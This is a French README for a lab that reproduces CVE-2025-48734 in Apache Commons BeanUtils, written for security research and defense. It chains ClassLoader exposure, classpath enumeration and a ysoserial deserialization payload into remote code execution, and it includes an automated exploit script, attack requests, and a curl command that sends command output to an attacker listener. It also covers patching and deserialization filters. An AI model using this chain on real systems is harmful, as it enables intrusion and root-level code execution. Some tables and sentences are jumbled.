
CVE-2025-48734 - Affecte Apache Commons BeanUtils dans les versions antérieures à 1.11.0 (et la branche 2.x avant 2.0.0-M2).
À des fins éducatives et de recherche en sécurité autorisée uniquement.
Ce dépôt fournit un environnement de laboratoire contrôlé pour reproduire la vulnérabilité CVE-2025-48734 dans Apache Commons BeanUtils et explorer comment un attaquant pourrait escalader vers l'exécution de code à distance (RCE) sous certaines conditions.
CVE-2025-48734 affecte Apache Commons BeanUtils dans les versions antérieures à 1.11.0 (et la branche 2.x avant 2.0.0-M2). Le problème réside dans le fait que PropertyUtilsBean permet d'accéder à la propriété declaringClass des enums Java via des chemins imbriqués (par exemple, enum.declaringClass). Tous les enums héritent de la méthode getDeclaringClass() de java.lang.Enum, que BeanUtils expose comme une propriété navigable.
Un attaquant qui peut contrôler le chemin de la propriété dans les appels à getProperty() ou getNestedProperty() peut :
ClassLoader de l'application (via enum.declaringClass.classLoader).classLoader.URLs[n].⚠️ Important : La vulnérabilité seule n'accorde pas directement RCE. Elle donne accès au
ClassLoaderet permet l'énumération du classpath, ce qui doit être chaîné avec un point de terminaison de désérialisation non sécurisé et une bibliothèque de gadgets vulnérable pour parvenir à l'exécution de code. Voir la section Analyse détaillée de l'exploit.
Score CVSS : 8.8 (Élevé) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Le laboratoire se compose de deux composants :
Un service Spring Boot exposant les points de terminaison suivants :
GET /api/property?path=<chemin-propriété> — lit une propriété imbriquée en utilisant PropertyUtilsBean.getNestedProperty() sans assainissement. C'est le point d'entrée de la CVE.GET /api/nested-set?path=<chemin>&value=<valeur> — écrit des propriétés imbriquées (également vulnérable).POST /api/data/import — accepte des objets Java sérialisés bruts (application/octet-stream) et les désérialise sans validation. C'est le vecteur de livraison de RCE.Le bean cible est un objet Order contenant une enum Status. Cela permet de construire la chaîne status.declaringClass.classLoader.
Remarque : Le point de terminaison
/api/data/importne fait pas partie de CVE-2025-48734. Il est inclus pour simuler un scénario réaliste où un point de terminaison de désérialisation vulnérable coexiste avec la CVE. Dans une application réelle, ce type de point de terminaison apparaît dans les intégrations héritées, les API internes ou les intergiciels mal configurés.
| Bibliothèque | Version | Rôle dans la chaîne |
|---|---|---|
commons-beanutils | 1.9.4 | Point d'entrée de CVE-2025-48734 |
commons-collections | 3.2.2 | Chaîne de gadgets de désérialisation |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
Le script installe les dépendances, compile le projet, l'enregistre comme service systemd et le démarre automatiquement. L'application écoute sur 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
Le script installe les dépendances et télécharge ysoserial.
L'exploit est entièrement automatisé dans un seul script qui impose l'ordre correct des phases. Chaque phase est un prérequis pour la suivante.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<commande>'
Le script sonde status.declaringClass et status.declaringClass.classLoader. Si l'un est bloqué, le script s'arrête — l'application est patchée et la chaîne ne peut pas continuer.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
En utilisant la référence ClassLoader obtenue à la Phase 1, le script itère classLoader.URLs[n] pour lister tous les JAR chargés et recherche Commons Collections 3.x. Si introuvable, le script s'arrête — aucune chaîne de gadgets n'est disponible.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
Avec une chaîne de gadgets confirmée, le script fuzz les points de terminaison d'import/sync courants en envoyant les octets magiques de sérialisation Java (0xACED0005) et identifie les points de terminaison tentant ObjectInputStream.readObject() par leur modèle de réponse. Si aucun point de terminaison n'est trouvé, le script s'arrête.
POST /api/data/import (octets magiques)
→ HTTP 200 — point de terminaison trouvé
ysoserial génère une charge utile CommonsCollections6 (la plus portable pour Java 11+) et l'envoie au point de terminaison découvert.
POST /api/data/import
Content-Type: application/octet-stream
Corps : <charge utile ysoserial CommonsCollections6>
→ {"status": "success", "class": "java.util.HashSet"}
La commande s'exécute sur le serveur pendant la désérialisation, avant que la réponse ne soit renvoyée. La sortie peut être exfiltrée en redirigeant vers un fichier ou via un rappel HTTP :
# Écriture dans un fichier
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Puis sur Debian : cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltration via HTTP (écouteur sur Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<ip_kali>:9000/$(id)'
La CVE n'est pas un vecteur RCE direct — c'est le pivot de reconnaissance qui rend le reste de la chaîne possible :
Sans CVE-2025-48734 :
→ Pas d'accès au ClassLoader
→ Pas d'énumération du classpath
→ Aucun moyen de confirmer la présence de Commons Collections 3.x
→ Aucune raison de chercher un point de terminaison de désérialisation
→ Chaîne cassée dès le départ
Avec CVE-2025-48734 :
→ ClassLoader exposé
→ Classpath complet visible via URLs[n]
→ Commons Collections 3.x confirmé
→ Point de terminaison de désérialisation découvert par fuzzing
→ RCE atteint
Les trois conditions qui doivent s'aligner pour un RCE complet :
| Condition | Ce laboratoire | Monde réel |
|---|---|---|
| BeanUtils < 1.11.0 avec entrée de chemin non filtrée | ✅ | Courant dans les applications héritées |
| Bibliothèque de gadgets dans le classpath (CC 3.x) |
Mettre à niveau Commons BeanUtils :
| Artefact | Vulnérable | Sûr |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
Dans pom.xml :
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
Deux atténuations complémentaires :
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
Après la mise à niveau de BeanUtils vers 1.11.0, recompilez et redémarrez le service. Exécutez le script d'exploit — il devrait s'arrêter à la Phase 1 :
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale. L'auteur n'est pas responsable de toute utilisation abusive.
| ✅ |
| Fréquent dans Java d'entreprise |
| Point de terminaison de désérialisation non sécurisé | ✅ | Moins courant, mais présent dans les intégrations héritées/intergiciels |